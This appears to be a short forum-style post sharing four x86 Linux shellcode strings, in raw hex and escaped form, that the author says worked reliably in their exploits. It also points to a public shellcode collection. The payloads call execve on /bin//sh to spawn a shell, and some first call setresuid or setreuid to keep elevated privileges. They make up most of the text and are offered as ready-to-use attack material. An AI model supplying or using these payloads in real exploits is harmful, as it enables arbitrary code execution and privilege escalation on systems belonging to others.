Here are some working shellcode examples that I have used during exploits. All for
x86 architecture. Make sure to use
python or a different execution method based on formating (\xAA vs AA).
31c031db31c999b0a4cd806a0b5851682f2f7368682f62696e89e35189e25389e1cd80 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80 31c050682f2f7368682f62696e89e3505389e1b00bcd80 31c0b04631db31c9cd80eb165b31c0884307895b0889430cb00b8d4b088d530ccd80e8e5ffffff2f62696e2f7368584141414142424242
More can be found at http://shell-storm.org/shellcode/
However, I've found that not all work for me. I don't know why, but the ones above have worked for me 100%